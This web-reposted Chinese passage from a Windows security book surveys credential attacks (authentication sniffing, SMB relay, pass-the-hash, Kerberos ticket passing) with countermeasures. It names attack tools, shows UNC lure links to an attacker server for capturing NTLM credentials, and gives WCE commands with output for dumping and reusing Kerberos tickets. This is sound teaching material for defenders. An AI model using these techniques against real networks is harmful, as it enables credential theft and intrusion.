对于那些想寻找可靠的、可脚本化的命令行日志操作和分析工具的人们,不妨试试Windows 2000资源工具包里的Dumpel程序(详见http://support.microsoft. com/kb/927229)。Dumpel工具可以分析远程服务器上的日志(必须有适当的权限),它最多可以同时对10个事件ID进行筛选。下面是用来从本地系统的日志里提取登录失败事件(事件ID=529)的Dumpel命令语法:
C:\& dumpel -e 529 -f seclog.txt -l security -m Security -t
另一个好工具是Somarsoft公司的DumpEvt(可以从/ somarsoft/处免费获得)。DumpEvt工具可以把整个安全日志文件以适合于Access或SQL数据库的格式导出来,但是,这个工具不能筛选特定的事件。
另一个极好的免费工具是微软公司的Event Comb(可以在/ kb/308471上找到)。Event Comb是一个多线程工具,可以根据事件ID、事件类型、事件来源等条件同时对多个服务器上的事件日志进行分析。所有这些服务器都必须是同一个域里的成员,因为Event Comb工具只有在成功连接到了某个域的前提下才开始工作。
TWindows Software公司()的ELM Log Manager也是一个很好的工具。ELM工具能够向Windows的所有版本以及非Windows系统的Syslog和SNMP提供集中的、实时的事件日志监控和通知功能。尽管笔者本人没有使用过ELM工具,但从用过它的人那里听到过非常好的评价。
建立实时入侵报警
日志分析工具的下一步就是实时的报警能力。Windows系统的入侵侦测/防御(IDS/IPS)产品和安全事件与信息监测(SEIM)工具依然受到希望使其安全监测机制自动化的组织们的欢迎。对IDS/IPS和SEIM的深入讨论已经超出了本书的范围,但有安全意识的管理员应该关注这项技术的新发展,因为还有什么东西会比为你们的Windows网络建立入侵报警系统更重要的呢?
窃听网络上的口令交换通信
风险评级:
口令猜测是件苦差事。那为什么不在用户登录到服务器时将相关的登录信息窃听下来,然后重放(replay)登录信息以获得访问权限呢?如果攻击者能够窃听Windows登录的口令交换,就可以免去大量的随机口令猜测。窃听Windows的攻击工具有三种:LM、NTLM和Kerberos。
从攻击旧有的LAN Manager(LM)身份认证协议中发现了Windows&查询/应答&(challenge/response)实现中的一个弱点,这使得彻底猜测原始的LM哈希证书变得容易(哈希证书等同于口令,既可以作为重放攻击的原始数据,也可以用来破解以得到明文口令)。微软在Windows 2000中解决了这个弱点,解决这个漏洞主要通过禁用LM身份认证,只要安全配置不当,依旧可能找到使用LM身份认证协议来支持旧有系统的Windows网络(这个弱点同时存在于NTLM中,尽管它更新、更安全)。用于攻击LM身份认证协议的工具有:Massimiliano Montoro(www.oxid.it)的Cain,LCP来自,John The Ripper Jumbo,John The
Ripper的社团增强版,增加了对LM身份认证/各种其他哈希和加密类型的支持, 可从/john/下载),以及具有SMB 数据包捕捉功能的L0pthcrack(可从/下载,它是一个具有14天免费试用期的商业工具)。尽管口令窃听功能通过WinPcap数据包驱动程序嵌入在L0phtcrack和Cain中,为了攻击LM应答中的弱点,你必须手工将窃听文件导入LCP和John The Ripper Jumbo。
微软的NTLM身份认证协议1.0和2.0都受到这个弱点的困扰,利用这个弱点和可预测的当前&查询&可以引发口令窃听和中间人攻击,有关更多细节,可参阅/research/OCHOA-.txt。
这些程序中功能最多的是Cain,它无缝集成了对所有Windows协议(包括LM、NTLM和Kerberos)的口令窃听和破解功能&&破解方法有暴力破解、字典攻击和Rainbow算法破解技术(使用Rainbow算法破解功能需要付费)。图4-3展示了Cain的数据包窃听器正在窃听NTLM的登录会话,可以用鼠标右击窃听到口令列表,并选择Send All to Cracker就可以轻松地把窃听到的口令导入到集成的破解文件中。
哦,如果你觉得采用交换网络结构会消除口令窃听问题,不要过于自信。攻击者可以利用种种ARP欺骗技术把你所有的网络通信重定到攻击者那里,然后再实施窃听(Cain也内置有对ARP&下毒&的功能;有关ARP毒化攻击的详细内容参见第8章)。攻击者还会采用另外一种&诱骗&Windows身份认证的手段,就是发送含有URL 链接的file://attackerscomputer/sharename/message.html。在默认情况下,点击以上的URL就会让Windows身份认证定向到欺诈服务器(在这个例子中为&attackerscomputer&)。
图4-3& Cain从网上窃听NTLM身份认证交换信息并把它们发到集成的破解程序
从Windows 2000以后,出现了更加健壮的Kerberos身份认证协议,但它仍然受到窃听攻击的侵害。这种攻击的基本原理在Frank O&Dwyer 2002年的一篇论文中给予了解释。本质上来说,Windows Kerberos的具体实现是发送一个预认证数据包,其中包含了采用用户口令生成的密钥进行加密的明文(一个时间戳)。因此,通过暴力破解或字典攻击对预认证数据包进行破解后,得到一个类似于标准时间戳的结构,于是就得到了用户的口令。Kerberos 5的这个已知问题已经不是什么新闻了。正如我们所见,Cain内置有MSKerb5-PreAuth数据包窃听器。其他Windows Kerberos身份认证窃听和破解工具还有KerbSniff和Arne Vidstrom的KerbCrack(http://www.ntsecurity.nu/toolbox/kerbcrack/)。
针对Windows身份认证窃听的防范对策
阻止LM应答(LM Response)攻击的关键是禁用LM身份认证。记住,诸如Cain之类的工具正等着捕获LM应答信息去破解口令呢!如果你不在网络上传输LM应答,就可以彻底阻断这种攻击。NTLM没有LM的漏洞,所以需要花长得多的时间来破解,不过如果采用过弱的口令,还是会有问题的。
Windows NT 4.0 Service Pack 4之后,微软公司增加了一个注册表键值来控制LM身份认证的使用:HKEY\System\CurrentControlSet\Control\LSA Registry\LMCompat-
ibilityLevel。把这个子键的值设置为4及以上值将禁止域控制器(Domain Controller,DC)接受LM身份认证请求(更多信息参考微软知识库文章第Q147706号)。Windows 2000和更高版本里的Security Policy(安全策略)工具使得这个注册表项更容易配置:对路径&Local Policies | Security Options&(本地策略 | 安全选项)窗口下的&LAN Manager Authentication Level&选项的值进行修改(在Windows XP和后续版本里,这个选项被归入了&Network Security:LAN Manger Authentication Level&)。该设置可以将Windows 2000和后续版本执行SMB身份认证的方式配置为六种方法之一(从最不安全到最安全;参见微软知识库文章第Q239869号)。我们建议至少要把这个选项设置为级别2:&Send NTLM Response Only&(只发出NTLM应答)。 Windows Vista、Windows Server 2008、Windows7、和Windows Server 2008 R2已经使用了Send NTLMv2 Response Only作为缺省设置,Send NTLMv2 Response Only较上述选项提供了更好的安全性&&尽管它可能不适合于所有环境,特别是与既有旧系统进行网络互连的时候。
对于减少Kerberos窃听攻击,没有像处理LM问题一样通过设置一个注册表值类似的方法。在我们的测试中,对安全通道加密不能阻止这种攻击,微软也没有对这个问题给出任何指导。因此,你只能依靠经典的防御手段:选用更强的口令。Frank O&Dwyer的论文中指出,在单颗Pentium 1.5GHz CPU机器上,对包含有大小写和数字的8个字符长度的口令进行破解需要67年的时间,所以如果你启用了Windows口令复杂特性(本章之前提到过),就已经为自己赢得了一些时间。当然,破解时间总是随着CPU变得更加强劲而一直在递减。让我们浏览http://cpubenchmark.net/common_ cpus.html并做一些简单的假设(例如,在我们写作本书时,六核心的Intel i7 处理器位居表单的榜首,是因为它的速度几乎是O&Dwyer那篇论文所提到的Pentium 1.5GHz 处理器的44倍),如果使用i7,破解一个八位的复杂口令将花费一年半的时间。同时也要记住,如果一个口令能在字典里找到,它就能立即被破解。
Kasslin和Tikkanen在他们的文章中对于其他减少Kerberos 窃听攻击的方式也做了说明(http://users.tkk.fi/~autikkan/kerberos/docs/phase1/pdf/LATEST_password_attack.pdf),包括:
&&&&&&& 使用PKINIT预认证方法,该方法使用公钥加密从而避免了口令被监听和窃取。
&&&&&&& 使用Windows自带的IPSec技术实现对通信的认证和加密。
中间人(MITM)攻击
风险评级:
由于中间人(Man-In-The-Middle,MITM)攻击危害到从合法客户端到服务器端信道的完整性,导致两者无法实现可信的信息交互,因此具有很强的破坏性。在这一章节,我们将考查这些年来针对Windows网络协议的一些MITM攻击。
2001年5月,Cult of the Dead Cow的Sir Dystic发布了一款名为SMBRelay的工具,原本是提供SMB服务,并用来收集传入的SMB流量中用户名和口令哈希值的工具。正如它的名字,SMBRelay不仅仅可以假扮一个普通的SMB端点,而且能够在某些情况下实施MITM攻击&&利用SMB/NTLM身份认证协议实现中的漏洞,这个漏洞最初在1996年Dominique Brezinski 的一篇名为&CIFS认证协议的弱点&的论文上发表过。作为一台假冒的服务器,SMBRelay能够捕获网络口令哈希值,并导入到破解工具中去(我们将在本章后续的内容中讨论Windows口令破解的问题)。它也允许一个攻击者在客户端和服务器之间插入自己来转播合法客户端身份认证交换,并使用这一客户端的相同特权访问服务器。如果碰巧,这个客户端有管理员权限,攻击者就能以这些权限使用shell访问目标系统。使用这一技术,攻击者可以中转这一连接,并且可以连接回发起这一连接的客户端自身(就是所谓的SMB证书反射攻击),或者连接回能够接受该客户端提供的证书信息的任意其他服务器(SMB证书转发攻击)。2008年,微软公司发布了一个补丁,该补丁修复了反射攻击这种情况(详见/en-us/security/bulletin/
ms08-068 和 /b/srd/archive//smb-credential-reflection.
aspx),但是转发攻击依然是威胁。
除ARP毒化攻击、DNS重定向和其他重定向攻击之外,常见的漏洞攻击包括这些组成部分:攻击者迫使受害者连接和认证到攻击者自己的恶意SMB服务器上;HTML链接或者发送点在邮件将受害者诱骗到恶意的Web服务器上;通过使用SMB协议获得受害者的资源,例如,带有UNC链接的IMG标记(&img src=\\attacker_server\Pictures\he.png)。当攻击获得成功时,这个攻击显然具有毁灭性:MITM对目标服务器的资源已经获得完全访问权限,实施下一步侵害只是举手之劳。
自SMBRelay之后,具有相同功能的许多其他工具也发布了,其中的技术也增强了。在这些工具中有Squirtle(/p/squirtle)和SmbRelay3(http://tarasco.org/security/smbrelay),这些工具允许中转各种连接的NTLM认证,既可以是使用SMB协议的连接,也可以是使用诸如Http、IAMP、POPS和SMTP的连接。
Massimiliano Montoro的 Cain工具提供了绝佳的SMB MITM攻击能力:把内置的ARP毒化路由(ARP Poison Routing)特性和NTLM查询仿冒与降级攻击功能(但是大多数最近的Windows客户端不能降低版本)结合起来。只需使用Cain工具,们就能够通过APR将本地网络的通信数据重定向给自己,并通过降级工具降低终端的Windows安全级别,以更容易地破解认证会话。但是,与SMBRelay工具不同,Cain工具不能实施完整的MITM攻击。
终端服务器也可能受到使用Cain的ARP工具的MITM攻击。2003年4月Erik Forsberg描述了这一攻击(参见/archive/1/317244),并由Cain工具的作者于2005年做了更新(详见http://www.oxid.it/downloads/rdp-gbu.pdf)。由于微软重复使用了发起身份认证的同一个密钥,Cain使用这个已知的密钥签发一个新的MITM密钥并通过了终端服务器客户端的认证,因为从设计上,终端服务器客户端会接受由已知的微软密钥签发的任何信息。APR中断了客户端与服务器的通信,两者都不知道和自己通信的实际上是MITM,其结果是终端服务器的通信数据传输被窃听、解密,并被Cain工具记录下来,暴露的管理员证书可能被用于攻陷服务器。
虽然其危险性小于直接的MITM攻击,然而在依赖于NetBIOS命名协议(NBNS,UDP 端口137)的环境中,采用名称欺骗的方法能够为MITM攻击打开方便之门。
&针对MITM的防范对策
MITM攻击通常需要靠近目标系统来实施攻击,例如位于同样的一个局域网中。如果黑客已经在目标所在网络找到立足点,完全防范黑客实施的多种可能的MITM攻击是很困难的。
基本的网络通信安全机制能够帮助我们应对MITM攻击。采用身份认证的和加密的通信方式能够减轻伪冒的客户端或服务器插入合法的通信连接。如果通信双方都属于同一个活动目录(AD)域中的成员,并且通过IPSec策略实现了端点之间的安全连接,那么Windows Vista以及更高版本中的Windows防火墙规则就能够提供经认证和加密保护的通信。
Window Vista以及更高操作系统版本中的Windows高级安全防火墙引用IPSec策略作为&连接安全规则&。
自Windows NT出现以来,SMB签名功能就一直用于认证SMB连接。然而,这一功能的应用确实并不广泛,因此它应对某些场景下各种MITM攻击的防御能力也就值得质疑,例如SMBRelay等工具能够使SMB签名机制无效。因此基于IPSec/连接安全规则的Windows防火墙或许是更好的选择。为应对SMB证书反射攻击,要确保所有的系统已经采用了在微软安全公告MS08-068中的补丁。
另外,为了应对NetBIOS名字欺骗攻击,我们建议如果可能的话,直接禁用NetBIOS Name Service(NBNS)服务。NBNS很容易被假冒技术欺骗(因为它是基于UDP的)。只要有一个合理配置的DNS基础结构,多数最新的Windows在不采用NBNS服务时一样&活得很滋润&。如果不得不使用NBNS,那么在网络中部署一个主要和一个辅助的Windows 因特网名字服务(Windows Internet Naming Service,WINS),这能在一定程度上减缓猖獗的NBNS欺骗攻击(详见/kb/150737/)。
传递哈希(Pass-the-Hash)
风险评级:
传递哈希(Pass-the-Hash)是攻击者利用用户口令的LM和/或NTLM的哈希值来与远程服务器进行身份认证的一项攻击技术,采用此技术攻击者就没有必要破解/暴力破解哈希值来获取明文口令(通常用于身份认证)。
在NTML认证环境中,Windows口令哈希值等同于明文口令,攻击者可以很容易地重播这些哈希值来获得未经授权的访问,而不是试图离线去破解对应的明文口令。
Paul Ashton于1997年发布了传递哈希这项攻击技术(http://securityfocus. com/bid/233),他的攻击具体实现中包含SAMBA的 SMBClient的修订版&&SMB客户端接受LM/NTLM哈希值而不是明文口令。如今,SMB和NTLM协议的许多第三方实现也提供这个功能。
所有这些第三方实现都有局限性,因为它们并没有实现由SMB协议提供的这些功能的每个细节,而这些细节在Windows环境下都实现了,但是Windows下的实现没有提供定制的DCE/RPC接口,而这些DCE/RPC接口是第三方应用程序可能会用到的。
2000年,Hernan Ochoa发布了一项技术,在Windows本来的环境下实现了传递哈希攻击技术:在运行时修改用户名、域名和存储在内存中的口令哈希值。它们允许你使用类似Windows Explorer这样的Windows自带应用来实现传递哈希攻击,从而访问远程共享卷、类似Active Directory Users and Computers这样的管理工具以及其他使用NTLM认证的Windows自带的应用程序。他还介绍了一种新技术,通过Windows认证子系统转存存储在Windows内存中的NTLM证书。与pwdump这样的工具不同,pwdump只能转存存储在本地SAM中的证书,而这种技术可以转存包含远程和交互式地登录到一台机器的所用户的证书,例如使用RDP登录的用户。这项技术在渗透测试人员和攻击者中已经非常流行,因为它可以在攻陷单台机器之后攻陷整个Windows域&&甚至是系统管理员事先已经登录到一台未中招的机器,而后这台机器被攻陷了,这位管理员的身份证书也不能幸免。
Hernan技术的最新化身是一个称为Windows 证书编辑器(Windows Credentials Editor,WCE)的工具,这个工具支持Windows XP、2003、Vista、7和2008,同时有32位和64位的版本。可以从Amplia Security的网站上下载这一工具(http://ampliasecurity. com/research)。要获取关于如何高效使用这个工具请参阅WCE FAQ(/research/wcefaq.html),而有关其他攻击场景的说明,请查阅Hernan的论文&Post-Exploitation with WCE&(/research/wce12_uba_ampliasecurity_
&eng.pdf)。
针对传递哈希攻击的防范对策
传递哈希技术源于NTLM认证协议,因而所有使用这一认证方法的服务(SMB、FTP、HTTP等)都易受到传递哈希的攻击。在一些场景中使用双因子认证或许会有帮助,但是在大多数网络环境中,你将不得不面对可能会遭受这一攻击的现实。这是一项后置攻击技术,因为攻击者需要在&传递哈希&之前获得哈希值,防范于未然的深度防御技术是最好的武器。
传递Kerberos票证
风险评级:
当使用Kerberos认证时,客户端使用&票证&取得远程系统上远程服务的认证,然后使用由密钥分发中心(Key Distribution Center,KDC)提供的授予票证的票证(Ticket Granting Ticket,TGT)创建新的票证,KDC是登录中域名控制器的一个部分。
采用传递哈希攻击的攻击者重播用户口令NTLM哈希值与远程系统取得认证,传递Kerberos票证攻击采用与传递哈希同样的攻击方式,这项技术的攻击者转储Windows Kerberos 票证,然后在Windows 和 UNIX 系统中重新使用这些票证和TGT(为其他服务创建的新票证)。传递Kerberos票证攻击是通过Amplia Security的Windows证书编辑器(WCE)实现的。
成功地攻陷系统之后,攻击者能够用以下方式转储现有的Kerberos票证。
C:\Tools&wce.exe -K
WCE v1.2 (Windows Credentials Editor) - (c)
Amplia Security
by Hernan Ochoa ()
Use -h for help.
Converting and saving TGT in UNIX format to file wce_ccache...
Converting and saving tickets in Windows WCE Format to file wce_krbtkts..
6 kerberos tickets saved to file 'wce_ccache'.
6 kerberos tickets saved to file 'wce_krbtkts'.
攻击者就可以拿到这个wce_krbtkts文件了,然后使用WCE&加载&这些票证到她自己的Windows工作站来开始访问其他系统和服务(使用net.exe、Windows资源管理器等),而无需任何口令,例如:
C:\Tools &wce -k

WCE v1.2 (Windows Credentials Editor) - (c)
Amplia Security & by Hernan Ochoa ()

Use -h for help.
Reading kerberos tickets from file 'wce_krbtkts'...
6 kerberos tickets were added to the cache.
您对本文章有什么意见或着疑问吗?请到您的关注和建议是我们前行的参考和动力&&
您的浏览器不支持嵌入式框架,或者当前配置为不显示嵌入式框架。}

我要回帖

更多关于 远程桌面连接不上 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信